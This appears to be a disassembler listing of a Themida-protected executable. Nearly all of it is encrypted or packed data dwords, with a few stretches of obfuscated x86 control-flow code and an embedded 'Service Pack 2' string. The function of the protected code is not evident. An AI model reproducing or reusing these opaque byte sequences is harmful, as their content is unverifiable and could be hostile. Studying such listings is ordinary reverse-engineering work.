dd 40BE64AAh, 0DD69A0E6h, 0F7E94A99h, 0E3F9021h, 0AE419715h
dd 173B8128h, 50A51B6h, 0C0220615h, 5ACE78BCh, 0A20C21F2h
dd 0DE38B65Ch, 452BA74Bh, 0ADC6FC5h, 0E6AD51Eh, 49AB15DEh
dd 37BD4663h, 4A8A973h, 51375BADh, 111577CDh, 0D731AF95h
dd 44107244h, 0D8198382h, 0E3F03470h, 0E7D436A2h, 21072B7Dh
dd 59FF45A3h, 64EA7DDBh, 175B7F45h, 0D22174D1h, 82DC5E44h
dd 96BB1DEFh, 0A422082Ch, 0D856FC42h, 0A6F95A7Eh, 1F76B83Ch
dd 0AC377B9Fh, 2ECA5EB0h, 69EF62C4h, 0DA567A40h, 0B0C91A5Eh
dd 0A711CA5Eh, 0AFB37945h, 0DF49CC4Ch, 0DBB47386h, 0E3D0D3E1h
dd 10ACh, 70B6128Fh, 0AAF046CAh, 0E82E8404h, 1F65C342h
dd 5AA0F879h, 0B738861Ch, 0F2751B61h, 2CAE549Ah, 68E68CD2h
dd 591C80Eh, 0F7EE32C1h, 3667B821h, 266A9415h, 27E032DDh
dd 3D61B31Dh, 0E97CD457h, 718FB517h, 3BFDCB38h, 2214F583h
dd 42C6ACD0h, 42868AECh, 21F29E10h, 0CFDD70DAh, 12E12551h
dd 0D8DE0E51h, 12F81C6Eh, 0B1D7398Fh, 982B8D0Bh, 1259712h
dd 1C5167BDh, 89B05D8h, 50C4AB85h, 0FC8FE96Ah, 0DC5AC82Ah
dd 9316347Ah, 9BC90D31h, 82D22E75h, 31C41A9Ch, 6ED8FD5Fh
dd 0F94FCDDBh, 6147BB66h, 24F689DFh, 53C7A8C2h, 295EB6Dh
dd 0C1E8CE30h, 755BD7FBh, 6C389AF2h, 0CC3828C6h, 0AE549A04h
dd 0D743D630h, 0C0583808h, 6045A6B2h, 0F78F6F6h, 30880795h
dd 0FDF3B4CEh, 8905297Fh, 5842BE45h, 70D23CC0h, 0D026A44Ah
dd 0E7EC30ACh, 0E3C05842h, 1EA41779h, 0D115398Bh, 0C64A6DAFh
dd 0CA28A88Eh, 0DE036537h, 79202E74h, 3A5E6445h, 51A4A8F6h
dd 85C02AC0h, 57EA46C7h, 6E581CEBh, 368C1DFCh, 8E20CE12h
dd 78E2FA79h, 185CD854h, 0F296A6CBh, 0D543A50Fh, 7FBB0157h
dd 5DBF1599h, 841771EFh, 429BF576h, 0D3014325h, 59AD9A9Dh
dd 3C00000Fh, 7D2369BFh, 0B75DA3F9h, 0F59BE137h, 32D81E76h
dd 0D31157B1h, 0E6AEBCFh, 499F22C8h, 85DB5D03h, 0BD1B993Fh
dd 70B44077h, 21F7EF63h, 15E51667h, 50F63C94h, 0EF5074D2h
dd 0B9B4B0DEh, 0FF72D4C9h, 821573F1h, 79AF074h, 8A1D7BF9h
dd 0FA2F87Ch, 0AA8D0F3Dh, 0AE91B310h, 0AEF452D0h, 0E5ADD652h
dd 14EB454h, 151B0000h, 0A0AE4197h, 607EC422h, 0B4F7349h
dd 21F21DFDh, 960295FFh, 0DE0DE349h, 0C5452BA7h, 0A80ADC6Fh
dd 0A11DA98Eh, 7D5AF825h, 38h, 18997FE4h, 0F95B2DC0h, 249613h
dd 0F2137ABCh, 6A8EF821h, 1CAF0584h, 975E84Ah, 0DE0DEDFEh
dd 33A7881Ah, 0ED6073B7h, 6ADE0Dh, 1BFE7A9Eh, 0C1DC5AF8h
dd 43000000h, 0AE419715h, 36C91FA0h, 0B94CAA28h, 52AE2F15h
dd 0E15FEDBFh, 39B72587h, 775D99DFh, 0A66AE5F4h, 0AF28A62Ch
dd 96F8CA5Dh, 0E065F6CAh, 67C13F27h, 14A60321h, 0D655ACF0h
dd 0D53621F4h, 52D45387h, 0DE1FF3FCh, 8F4D96DAh, 238DDE0Bh
dd 0E04A6FD1h, 0D95A40BCh, 2EAF1D7Fh, 65E68CD2h, 6A8BB20Bh
dd 6063FF9Ch, 0E2373h, 2F890600h, 69BF43E9h, 0A7FD7D23h
dd 0DC3CBB61h, 196FF096h, 0B10D95D3h, 0EC92D830h, 27CD1369h
dd 5F054BA5h, 0A4187E1h, 0EDA93A7Eh, 0E03121F7h, 3C9415AFh
dd 56D4BAF6h, 3219EA2Eh, 77E127E0h, 0AAEE9225h, 27E03259h
dd 83E537A1h, 0B98A9715h, 529CC5BAh, 6881C719h, 0AE419715h
dd 7EC422A0h, 82D85C42h, 891C72F4h, 69E755B7h, 0B3F67C0Fh
dd 8BA9ED11h, 7121F211h, 6B3CC107h, 73000007h, 0A93C9415h
dd 99B1F05h, 4AD82A8Ah, 7D96CCAh, 320ED9A5h, 9E0B27E0h
dd 2B4F81Ch, 0D021F7E4h, 82C64266h, 0DE081871h, 0A9AD0F79h
dd 9DE345C3h, 8C1F79F7h, 4AA3FD7Eh, 0FF9FFD29h, 6101EEF1h
dd 4400000Dh, 852B71C7h, 0BF65AB01h, 0FDA3E93Fh, 3AE0267Eh
dd 0DB195FB9h, 1672F3C7h, 51A72AD0h, 8DE3650Bh, 0C523A147h
dd 78BC487Fh, 21F7ED6Bh, 15ED1E6Fh, 0BAF63C94h, 6BFE54D4h
dd 4BC93799h, 320CD71Bh, 64CE27E0h, 0A8FA54D6h, 0C41A9E84h
dd 8AFD5F31h, 15A8FE7Ch, 5B511638h, 2DBF3FDDh
dd 0EEC053A9h, 77FB099Ch, 6ABC8E21h, 0FA76D218h, 0D854E5FAh
dd 0Dh, 38DDB73Fh, 259227E0h, 0FFFFFDEFh, 3228B75Ch, 0C0E927E0h
dd 165AD6FAh, 27E032CDh, 9315A30Dh, 93D7DB3Dh, 21F7E475h
dd 563A77D8h, 852D120h, 77D92B89h, 1B28AC52h, 0F9947ECEh
dd 0B002548Ah, 2B482B8Ch, 0E2177716h, 84007C80h, 84AB340h
dd 0A11637DEh, 0F6A4F5CEh, 4FBD1F71h, 8B3177D1h, 0A18AB0Dh
dd 0ABD62F89h, 2BFF9FF2h, 0C7A3B28h, 0E05D0000h, 189C4288h
dd 56D67CC2h, 9514BA00h, 0D253F93Fh, 0B0F23076h, 0E92F890Ah
dd 2268C043h, 5EA4FA7Ch, 96DC3AB8h, 448FD35Fh, 8621F7D2h
dd 97150435h, 0B4371D41h, 7987FA5Ch, 2D0A9DFBh, 0C846240Bh
dd 50CC286Eh, 2E54E5FAh, 0Dh, 38DDB795h, 259227E0h, 0FFFFFD2Fh
dd 0B60C9D5Ch, 3C684E92h, 0C02A21F2h, 0C337C12Dh, 57D3DE0Dh
dd 0C34C97DBh, 6D8EDE0Dh, 0B4F99E27h, 0AD0F61D9h, 9C18AC93h
dd 0DD5AF8B4h, 44876F7h, 0DE0D78FFh, 0AC3F91FBh, 8D1178DAh
dd 55000001h, 295EB6Fh, 0C422A230h, 18B78162h, 0CD27E032h
dd 3C9A184Eh, 74D250F6h, 320275E1h, 38727E0h, 8A0C1AADh
dd 0A2C4A134h, 3E181BDDh, 67058379h, 6EF78AE6h, 5AEC1D16h
dd 3F91E3E4h, 0EBCDDBF9h, 6ACC4A58h, 0A6007E24h, 4528A713h
dd 962827E0h, 0C7E445D1h, 0A5EA9701h, 65E10567h, 4154E51Eh
dd 128h, 861E9F85h, 481AAD03h, 15B394F6h, 0AAE4197h, 8E0EA024h
dd 81D3A538h, 4CBA1CEEh, 143278CEh, 0C70B2F95h, 21F21D39h
dd 59715BBh, 4CDF3187h, 2995287Ah, 0DE0DE3DEh, 61F454D3h
dd 0E275D353h, 2BCDB234h, 0F98D7204h, 5AF8257Dh, 2759h
dd 0C9DC000h, 0C84E92B6h, 8A21F213h, 0D6218D20h, 32DE0DECh
dd 0F84ED0B6h, 17319365h, 1D28A450h, 97065AF8h, 6D000000h
dd 0AE419715h, 36C91FA0h, 0B94CAA28h, 0B5F92DABh, 27E0322Eh
dd 0AAF042ACh, 0E02A0AA6h, 8725A327h, 0D1A2AB05h, 0A1108D6Eh
dd 6785CB1Dh, 765C8042h, 36089BF5h, 358CD0D4h, 0F5DE0B43h
dd 381678Bh, 0B24012A5h, 7446D92Fh, 0A7280E12h, 0E4650B51h
dd 0E66C338Ch, 104FF9Ch, 0AA714h, 0AB0D8A00h, 0E53BBF65h
dd 1B79F99Fh, 58B02FD5h, 95EB6C12h, 2D91114Fh, 680E54ACh
dd 0A3498FE5h, 0DB81C721h, 7EB5FB5Dh, 0D025AEF2h, 54A521F7h
dd 3C941523h, 74D250F6h, 9715152Eh, 0A90AAE41h, 0E442E7Ah
dd 0B72587BCh, 0C820A339h, 1BAB3076h, 0E2000004h, 18912DADh
dd 0EF3A7EA2h, 6F21F7E4h, 1576CA05h, 6BAF0994h, 0DE085E98h
dd 33EFF862h, 785EC01Eh, 81678B31h, 3C40A202h, 1AAC26F8h
dd 0B74AB4D8h, 3653BC4Bh, 0E5CA5CD4h, 0AF098B71h, 95AD294Dh
dd 9489610Fh, 0F0000003h, 0E03228B7h, 32FB0327h, 654427E0h
dd 0DF73B5Fh, 0CF21F22Fh, 0BFBF6EAEh, 7F51E43Ch, 7090A576h
dd 24CCC51Eh, 494CFF9Ah, 9DF5Ch, 0E345C200h, 1D73F79Dh
dd 53B131D7h, 90E8670Dh, 0CD23A44Ah, 65594987h, 0A0468CE4h
dd 0DB81C71Dh, 13B9FF59h, 0B6ED3395h, 0D11DE62Ah, 8CDD21F7h
dd 1B997F5Bh, 0F6582ABDh, 19AC0A88h, 80A41693h, 3233C004h
dd 4DB727E0h, 11A3E7EBh, 0DB21F7E4h, 9EF2B71h, 0E7CD2F85h
dd 98DC00C2h, 0D81FCE06h, 60466AD4h, 3D4187DDh, 0D430679Ah
dd 0EC701697h, 0BF204496h, 388B50D5h, 759BFD72h, 75D35339h
dd 68C60D51h, 9A04D430h, 0F147CA38h, 74D2505Eh, 6C4E5BE1h
dd 7CA60448h, 0AE54D222h, 2982D42Ah, 0EBC99152h, 350AF7FAh
dd 18000009h, 51F73D9Bh, 8B3177CDh, 0C167AD0Bh, 0F69CE242h
dd 97D51B75h, 0D22EAF0Bh, 0D63E68Ch, 499F21C7h, 89DF5D03h
dd 3C800C43h, 21F7D1B7h, 7FB1E233h, 59BB1999h, 60843673h
dd 0F7E49A1Ch, 0CAEE5821h, 0E70B61E4h, 0C1238101h, 1A72F59Bh
dd 329010F6h, 0B212919Fh, 58BFE60h, 14FA1EA4h, 0D5A73A90h
dd 992B6F73h, 63D81FCEh, 61C266F9h, 0B0233A4Dh, 849CA541h
dd 30C5DA03h, 0A108EE50h, 0FF7BF71Bh, 306E28BBh, 6091B2D4h
dd 8D5FEF4h, 0C08CEE40h, 0D2227CE2h, 3363E288h, 5E7BE4EFh
dd 2A7CE6CAh, 1A73C597h, 0EBC99E57h, 851F0C0Fh, 68000008h
dd 0A1478DEBh, 0DB81C71Dh, 11B7FD5Bh, 46EC3292h, 0E7256BC5h
dd 227EFFBBh, 5DB336DCh, 99EF7117h, 0D92FAD53h, 8CD05C93h
dd 21F7D647h, 15013283h, 0D82B6F97h, 2227E032h, 0C5D366B8h
dd 815EF147h, 24A2985Fh, 3227ACF0h, 39A327E0h, 0E462C3E7h
dd 5634BA37h, 0F94BA125h, 99157197h, 0D854E541h, 57DA70F2h
dd 4A1CAF01h, 19D81E8h, 9DE80000h, 0AC92B60Ch, 34BF032Bh
dd 0B627E032h, 9498FA4Ch, 0F21F3650h, 0F78AF421h, 57E96D53h
dd 17E97CD4h, 489763C5h, 0A8DE0DE0h, 29A55116h, 55AF825h
dd 167h, 4197156Ch, 0C422A0AEh, 7349607Eh, 1DFD0B4Fh, 95FF21F2h
dd 0E3499602h, 15A7DE0Dh, 262AA652h, 47085AF8h, 6F000000h
dd 9D1D037Fh, 32885B47h, 0E85227E0h, 7709A086h, 294D9FF9h
dd 0F21353E5h, 0F87B2121h, 0AE2A4EA0h, 0DED996Ah, 95F761DEh
dd 16987E22h, 45925EC0h, 0A3DE0DECh, 1E9A2E11h, 5F5AF81Dh
dd 3B9DFB79h, 0C4D4h, 997F3B00h, 0EB59BB19h, 6BE70B6Dh
dd 3258ABEFh, 38A227E0h, 0E032874Ch, 1C9D4327h, 9D1072C4h
dd 0F5760E8Fh, 0A8B6499Bh, 9539CC2Ah, 45D830AFh, 25A31173h
dd 55797DC3h, 5E27E02Eh, 0DC86CFE0h, 0F7105C5Ch, 1F4620B3h
dd 0EE40AAD8h, 1492789Ch, 377B1FB2h, 0D81F46ACh, 1072C42Eh
dd 0C94DAEEAh, 0B8B99F1Dh, 4B5E44A6h, 0F3D95579h, 0B1831672h
dd 0BB02834Fh, 82ECDE0Bh, 0A1F7785Eh, 0DC34B55Bh, 9DAE3483h
dd 7C696CFFh, 6E8h, 0A4EA4ECBh, 0DE247AFEh, 145AB838h
dd 5399EF6Eh, 8ED42CADh, 0EB6C5250h, 26A94F95h, 60E288CEh
dd 9C1AC006h, 31BDF43Ah, 0F7D4E6EDh, 6293E421h, 0F63C9415h
dd 2E74D250h, 15997F15h, 71EF5DBFh, 0F8768417h, 0A01C589Eh
dd 0E032975Ch, 0D3175327h, 27E03200h, 0AC0E60CAh, 515Fh
dd 41127300h, 6F4A1D4Eh, 7C36BD01h, 4AB427E0h, 0ADB596F8h
dd 22EBBEFEh, 860AC4D3h, 0C2CB9D30h, 0C2146181h, 0B7CE5A9Eh
dd 269021F7h, 0E9B7C5EBh, 4EDA296Dh, 0B620DE08h, 0D23B6E54h
dd 9DDE5F00h, 92B608A4h, 1FDCC54Eh, 0E01B85D8h, 7443h
dd 0C9D7A00h, 284E92B6h, 0EA21F21Dh, 5FB981C9h, 0D8D4ED1Eh
dd 4C307E1Ch, 23678BDDh, 0DE0D02D0h, 0CB5EB01Ah, 0F2ED6F5Fh
dd 0D6BCA821h, 93D7FB55h, 0DE0D7240h, 0A4BE208Ah, 523475C3h
dd 10E275D3h, 381E9ABEh, 33FF61B7h, 0D81F5D0Dh, 0A33074F0h
dd 63D43B22h, 1FD1927h, 8DC90E3Fh, 3B90BA49h, 84D640D4h
dd 4D93FD22h, 0BDC8h, 74F6DC00h, 53B5871Ah, 0BF037F72h
dd 27E03234h, 4EA4CB6h, 0B7FB1FA5h, 21F7E469h, 0C97581EBh
dd 468DD14Dh, 84DE0818h, 18A52E1Ah, 5EDCDE08h, 5EA37508h
dd 8CDE34B8h, 3226542Ah, 37B34728h, 135AFDD1h, 6Ah, 4C97DB57h
dd 8EDE0814h, 7E1167E8h, 17F85AACh, 92B60C9Dh, 0F7E4C34Eh
dd 0D198321h, 636DED8Fh, 0D16CE89Ch, 0C7AD5AFDh, 8759EC44h
dd 38BE25h, 9D250000h, 53A0E40Ch, 9727E032h, 73B7DB2Dh
dd 21F7E427h, 0B5333FA9h, 0DCED6F87h, 0C6F29F3Ch, 6E0153BBh
dd 0F083E160h, 0AAC936Dh, 25D196A0h, 5AFD1EA9h, 0D85h
dd 0FDB7EC00h, 7227E029h, 0FFFED905h, 0C9D3CFFh, 944E92B6h
dd 5621F7E4h, 57778135h
dd 3F8350F8h, 0DE08F1B4h, 287ACC36h, 289A0F95h, 2773C004h
dd 8DF7D81Fh, 8F3574FAh, 0AE06856Bh, 0E204484Ch, 10D22709h
dd 189C82A6h, 4B5E7CC2h, 8F115579h, 4DCC4EF3h, 57D9BFE3h
dd 1E7FBB01h, 1621834Dh, 0D19DFF1Ah, 5867E433h, 0A10232B0h
dd 0CCA8294h, 569D8953h, 94689A08h, 0C41670EEh, 56C888BBh
dd 0F612EF4h, 43A523C9h, 3D7F2AB0h, 8A599D19h, 50689A7Fh
dd 48084E6h, 0B7B966A3h, 0DCD8E137h, 0D1153989h, 689AC702h
dd 30FC5EC8h, 6E88C7F2h, 6D7B0E78h, 0F50396EEh, 0DE8C1F75h
dd 24A59B5Ch, 156739CCh, 0E3773812h, 5F680382h, 83E5C078h
dd 0FB419715h, 0EA7DD355h, 7D86CA46h, 7D6E887Eh, 58ABEF13h
dd 0A26E887Eh, 0E468D638h, 6DEDFB8Eh, 0F5768417h, 76FA089Bh
dd 846BF520h, 4D32B4E2h, 1672F3D9h, 6AC446B4h, 88DE6046h
dd 0D85A0026h, 325AACC7h, 58AABC9Fh, 0BB3B21C5h, 0E226CA5Dh
dd 6E88ED11h, 0BB1D6FD9h, 5F2155E5h, 0C620A298h, 119D6780h
dd 941220B3h, 6AF49F32h, 457F2F85h, 41DB59FFh, 0ED1163C1h
dd 0D134BD8Ch, 53B51660h, 0A252E967h, 2432C523h, 0DEBB4EA4h
dd 2B6FFBBCh, 27E04BD8h, 1966B822h, 9C1A10D7h, 0AE30163Ah
dd 91F3C558h, 0DE34B876h, 56D4BAh, 34BF2B9Eh, 0F827E04Bh
dd 0DF63591Eh, 1B9D4389h, 128E32C5h, 0E04B05CEh, 0F95BC527h
dd 0E04BA32Dh, 2F10E227h, 3379CF51h, 0E06BE92Fh, 9F1A5E27h
dd 0DC54E59Eh, 0BE2076F6h, 0FFFF7957h, 9715BEFFh, 0B6371D41h
dd 2CD2F85Ah, 364C58AEh, 0A8525EB8h, 62BC3E24h, 819BFDCFh
dd 0E442C0BEh, 0F16F55A9h, 0D0320497h, 0E5FB30ACh, 5A0E54h
dd 9D750000h, 4E92B60Ch, 21F7E4C5h, 0E4186485h, 0AE9523DEh
dd 0A9D2505Ch, 23B60E8Dh, 0AC3F9515h, 1BD14523h, 26143307h
dd 0ED6D4324h, 0E0320497h, 0F54324BEh, 6EEA0EB4h, 896D92Ah
dd 0F5FE42DEh, 0F5DE0896h, 7ADC468Bh, 40E13276h, 0FF69D81Fh
dd 4B27C4h, 553B0000h, 3C1D7FD5h, 92B60C9Dh, 42D52BACh
dd 32895A9Eh, 0E75127E0h, 0B32F3395h, 0BC452652h, 0F55768CEh
dd 0F7B79A29h, 0D2F66021h, 4EC11256h, 9F09DE08h, 57D3513Dh
dd 7EEACDAFh, 5FC11798h, 668A3079h, 1F989122h, 0B4EF59D8h
dd 41971583h, 0C422A0AEh, 82C6427Eh, 27E03271h, 5F060F79h
dd 77962330h, 6E3B2183h, 1AE4284Ch, 0D821F287h, 606FDB6Eh
dd 80DE0E59h, 17D09EEh, 0DD5AF78Ch, 2Ah, 7A0C9D44h, 0FC0A9DFBh
dd 0C092257Bh, 0B4F81C6Eh, 21F21362h, 87F386F0h, 0DE0DED78h
dd 95210698h, 5AF81C19h, 0E3F5h, 997F5C00h, 5EA5E919h
dd 9C27E032h, 107EE032h, 0FDA13492h, 0BDC0E99Ch, 94F647A9h
dd 0B84BA526h, 0F8E2CAAh, 0C65426B9h, 895BEE48h, 1896A437h
dd 0DB3C78BEh, 144DCE97h, 733FA1F5h, 27E0E1AFh, 0C60C6AE8h
dd 2044A220h, 0E33DBEA4h, 41927E50h, 8927E0E1h, 0C44ABD1Fh
dd 77BBDFE5h, 21F2E3D1h, 3773B923h, 1173D151h, 183C7E2Bh
dd 79963B9Ch, 8C51014Ch, 0D2E15E2Ah, 57C1D81Ah, 74CC4D33h
dd 3276F22Eh, 0D439ADA1h, 0EF5DBF29h, 0B9126Eh, 0C8F5AE48h
dd 19ED8C5h, 4810000h, 34B85EA4h, 72F298DEh, 0A928CE14h
dd 0DE5F054Bh, 0A4FE3C82h, 0F53B9516h, 2E74CC4Fh, 6AB00688h
dd 0AAF046C4h, 50A3E773h, 9A21F7D9h, 94151849h, 0D250F63Ch
dd 0B1EF5074h, 0A3B687EFh, 0C81B5F83h, 1227E0E8h, 72046A8h
dd 0BD1B997Fh, 8E34755Bh, 1390266Ah, 0F86221F2h, 0ECEEF965h
dd 25A3DE0Dh, 5AAC0487h, 0DF35B9C7h, 5017A14Ch, 1ADD6F96h
dd 0F81CF26Eh, 0C5D05Ah, 15370000h, 0A0AE4197h, 0B20A8D1Fh
dd 3391111Fh, 2A7CCEA0h, 36172B97h, 22A027E0h, 5AD87EC4h
dd 0C6E369FCh, 0C915DE22h, 0C8CD81Fh, 0B50771B6h, 55991591h
dd 0D81FC98Eh, 4CF83288h, 60A5B518h, 86C894F6h, 95DE0DD7h
dd 45349134h, 0B91B6692h, 0A8E42A94h, 9721C147h, 58BA3A5Dh
dd 61853772h, 1906C31Dh, 93B721D8h, 8A1D2CADh, 0CE29DC0Eh
dd 0E01C62B4h, 0BA1C7AFAh, 1C75CB4Ch, 0F5AF7AA7h, 9D473437h
dd 80000000h, 0B95FA503h, 0F399DF35h, 29CF1573h, 5E044AAAh
dd 0FF3D83DDh, 3A9617A3h, 75CB4EF4h, 0B107892Fh, 0F147C56Bh
dd 0A4E874ABh, 21F7DE5Fh, 15194A9Bh, 32183C94h, 0F0C255B3h
dd 44C2688Eh, 15839CE2h, 0A0AE4197h, 0D87EC422h, 10B6FC5Ah
dd 35A13492h, 709BB451h, 4868C93Dh, 5F9316E4h, 3D021C7Eh
dd 2167C13Fh, 779BFD7Bh, 7BFE1391h, 0DBC3EF24h, 299CFE50h
dd 0A93C9C1Bh, 2ABD1B9Bh, 0B3469C1Ch, 0D7915630h, 3735FAD4h
dd 73195FB9h, 7BD557F5h, 31C416E8h, 344h, 1A8B7B00h, 0AD409815h
dd 34C7219Fh, 0B74AA426h, 3BCE26A9h, 0C154AC2Dh, 43D632B3h
dd 0CB5EB635h, 54E73DBDh, 0D96CC246h, 0B466822h, 1C890000h
dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 52242C89h
dd 0C281E289h, 4, 4EA81h, 14870000h, 3C895C24h, 0D0685224h
dd 5A48B470h, 1FC5CA81h, 0BF575ABDh, 43A51B2h, 7F06CF81h
dd 0F7472BADh, 8FCF81D7h, 81181864h, 0F24337F7h, 5FFA3184h
dd 545AD589h, 83243C8Bh, 0B95104C4h, 8, 0BB53F901h, 0
; ---------------------------------------------------------------------------
add ebx, ecx
mov [ebx], ebp
pop ebx
pop ecx
mov edi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_59027A
; ---------------------------------------------------------------------------
dd 5B558855h, 0BB029B9Ch
; ---------------------------------------------------------------------------
xor al, 0C3h
loc_5DA8DA: ; CODE XREF: Themida_:005D926Cj
mov eax, 617ED57h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0BBh
dd 0FA11616Ah, 0EB6ED370h, 0D3238D0Ch, 54623DC9h, 0F7D9586h
dd 0B058B8BAh, 3F4EBAB6h, 8A51FE76h, 0D231291Ch, 43265445h
dd 9A52492Ch, 0B85C9AB8h, 0C555307Fh, 8638FBA4h, 492AE2EEh
dd 643C1342h, 1B671B10h, 42FCDFEh, 0EB23F7AEh, 24h, 8 dup(0)
dd 0BDE900h, 0B5890000h, 617EE57h, 0EE9858Bh, 858B0612h
dd 61225C9h, 0EEA1B58Dh, 858D0617h, 6154CD8h, 55C3D0FFh
dd 0E8h, 0ED815D00h, 617EEA7h, 0EE9BD83h, 0F010612h, 2C85h
dd 57B5FF00h, 8B0617EEh, 1225C985h, 27363506h, 0D0FF3481h
dd 850F013Ch, 0Ah, 1B8h, 47E900h, 0C0330000h, 40E9h, 8D1C6A00h
dd 17EE5BB5h, 0B5FF5606h, 617EE57h, 25C9858Bh, 36350612h
dd 0FF348127h, 0CC483D0h, 0EE5BB58Dh, 468B0617h, 4E08314h
dd 0F04F883h, 784h, 0E9C03300h, 5, 1B8h, 0E9BD8300h, 106120Eh
dd 7850Fh, 0C35D0000h, 2E9h, 8DCF5D00h, 17EE8085h, 11858906h
dd 0E906122Ah, 0A3h, 23492C65h, 94h, 5, 1, 0A28h, 2, 76726553h
dd 20656369h, 6B636150h, 3220h, 1Eh dup(0)
dd 0E9000000h, 0ACFh, 17F18C68h, 90FFE906h, 5168FFFAh
dd 0E90617F2h, 0FFFA90F5h, 17F34268h, 90EBE906h, 0AA68FFFAh
dd 0E90617F3h, 0FFFA90E1h, 17F4FD68h, 90D7E906h, 4F68FFFAh
dd 0E90617F5h, 0FFFA90CDh, 17F84D68h, 90C3E906h, 2168FFFAh
dd 0E90617F9h, 0FFFA90B9h, 5DAA652Ch, 0FA47C8C4h, 99E62961h
dd 33808F00h, 0CF1CF39Ah, 7518D6DFh, 0D7B44D9Ah, 3E52EB38h
dd 0A3EB84D1h, 0F6451F6Ch, 0F74F99EEh, 370DEA4Dh, 0BEF31C72h
dd 0B77699F5h, 0EB7E91FEh, 458891EEh, 0DF5F4A3Dh, 0C32E3947h
dd 8C92FC04h, 0EAF549F1h, 0F41B722Bh, 7459ECBFh, 0F18F2F5Ch
dd 39A8C44Dh, 0AECD7252h, 0B7B93A24h, 8E6E3F78h, 949DEAF2h
dd 0D3DE4DF1h, 37D3D568h, 25000000h, 1C0A5AEh, 0F17ECDF9h
dd 0F82D3849h, 0F180ABE0h, 8F800F4Dh, 15FA915Ah, 0D8E0DBB4h
dd 4DF180AFh, 2156C1CCh, 8F548D79h, 0EF964B67h, 24AEDF97h
dd 0CE44h, 1C729600h, 0DCB334F3h, 0BC711A4Ch, 0A4CBB043h
dd 0DD3C1923h, 0A134D480h, 0DD12FD90h, 60957A14h, 0BCC4F797h
dd 47DFDACBh, 0E6EEADB8h, 47DFDAA1h, 0AD6CD7E2h, 0DAF98E96h
dd 7F8A47DFh, 907EFECh, 2B47DFD7h, 0C65FAC63h, 0CF8847C8h
dd 4B1E53BCh, 3D46D3B8h, 49919958h, 8D49F1E0h, 2E62B7D4h
dd 6ED9ACE1h, 7D0A1239h, 0FE4DF1D3h, 0ADF588F3h, 0A55E55A2h
dd 0BC9124EBh, 70FCEB3h, 5004767Fh, 833CFB06h, 1FB8050Ah
dd 0AF22A16Eh, 0A3EDBE9Ch, 87E37FEh, 0ABE60000h, 0E7E1764h
dd 6F1BB401h, 0D5BA53A0h, 3954ED3Ah, 1C9989D6h, 754BBD2h
dd 0A5F21D6Eh, 3E8B840Ch, 0D926E9A5h, 0DFA8B0FFh, 9C4DF750h
dd 1B72E9BFh, 800EA7F4h, 148C428Fh, 0B30B4393h, 0C457A05Dh
dd 40FFE6EFh, 0F1C58E38h, 0B9EEF949h, 0F1C5EAA1h, 0F4ED094Dh
dd 0AE98259Dh, 0BF048524h, 0DE7537A5h, 0A6AAAC3Fh, 0FC000000h
dd 0BEF31C72h, 427798F5h, 0DF5BE62Ah, 917E1047h, 2CE3AB44h
dd 394E566Dh, 8147DF64h, 0F8CB000Fh, 0DDC25560h, 9B5A4750h
dd 4FC0CB84h, 7F5E7726h, 4ADDA1D7h, 0F1A8F0EAh, 77C4CF49h
dd 6524111Ah, 445365Dh, 53121D50h, 0CF1CF39Ah, 39B85736h
dd 0EDBEAF42h, 0B9440BB0h, 21000007h, 0B9529F70h, 56EF3CD3h
dd 0F58EDB34h, 8F28759Ah, 0D4C411FEh, 8F800DE1h, 2DE2A942h
dd 0C64947E0h, 61AEE079h, 0E3EB3A14h, 4DF751A4h, 1424FAD7h
dd 5F92F5FDh, 0E6F147DFh, 0C44B4253h, 0A1B0DE77h, 45BCDC3Ah
dd 0B7046FFBh, 9F1C7201h, 3065AAE6h, 5FDAAD5Dh, 9EA947DFh
dd 1ED7FE33h, 523D9E71h, 75192ABDh, 0E7F04D9Ah, 0CA333BFAh
dd 0F949F74Ch, 97182FEEh, 209D0459h, 0F0019422h, 3C24719Eh
dd 4DF727FBh, 0D1F10081h, 0F0340605h, 4F78963Ch, 8518039Ch
dd 6CB9A6B0h, 8E87F475h, 0AD53076Fh, 0F67B0084h, 8114C0A0h
dd 0C8D1AA99h, 2D611AD9h, 79DAADE2h, 0F968FB14h, 8DC5DF1h
dd 4C9DA850h, 0BC9E26Ch, 0A28F98B4h, 13B3DBE3h, 0C7D2DDBFh
dd 15FC0592h, 8EC74E56h, 0A1ACDFD2h, 0AA6529E2h, 45CAC45Dh
dd 7273DFC6h, 0C78E337Eh, 6C8h, 61AE6130h, 0FE4BC4C8h
dd 9DEA2565h, 37848B04h, 0D320EF9Eh, 711CD2E3h, 0D3B8519Eh
dd 3A56EF3Ch, 9FEF88D5h, 0FA492370h, 0F75295F2h, 3309E64Dh
dd 1C0A5AEh, 0F74D04F9h, 0DDE5FC49h, 4DF74EAAh, 0F33BCED9h
dd 0B6759AF2h, 0F74ED9AEh, 349FAA4Dh, 3FD0BC75h, 0DC3359F2h
dd 5FB0DEA7h, 0AFAA8FE0h, 0D79E43EBh, 660h, 0F946C9C8h
dd 96E32C60h, 35828DFDh, 0CF1CF39Ch, 6BB85736h, 0D9B43A7Bh
dd 3B50E936h, 0A2EE87D4h, 787206Dh, 92E1BB08h, 0F752FD8Ah
dd 0CBA17E4Dh, 0C6669314h, 0CC95F2FAh, 0DBE647DFh, 0F436C0B2h
dd 0E318F793h, 9FA87D10h, 12EBF3B2h, 3149F82Ah, 0DEAE6726h
dd 52BDD031h, 48B74A1Dh, 0C310FF8Fh, 0B8775C66h, 0F6920BB0h
dd 78ADB84Dh, 0F6922E60h, 1BFE904Dh, 0FD329D72h, 0A2FB5634h
dd 1D0054E4h, 171449B4h, 0A1C90ED3h, 44434B62h, 374DF722h
dd 4BC4CB2Ch, 1C756CB8h, 228AFD05h, 0EEF94DF7h, 2196EE5Bh
dd 55D624ABh, 55518AA5h, 0CACC5F7Ah, 49h, 0BFA4AE1Ch, 5F8BF800h
dd 0BAD147DFh, 0DF5FD5B2h, 89BA647h, 6880B5C0h, 47DF6023h
dd 0E217F897h, 0E8A77219h, 8A87BC27h, 1E469B46h, 28A8DF02h
dd 0FD22BCE2h, 11h, 192744Fh, 869D0000h, 0DF60097Eh, 0DC6F7A47h
dd 0DDAE9BAEh, 752EEDD4h, 0F463F619h, 0F17562ECh, 499AA549h
dd 7A228C69h, 40252E96h, 49157981h, 6570F3AAh, 5EEE25A6h
dd 6FF24508h, 616AF7DCh, 68ADB574h, 28F99D72h, 797E0911h
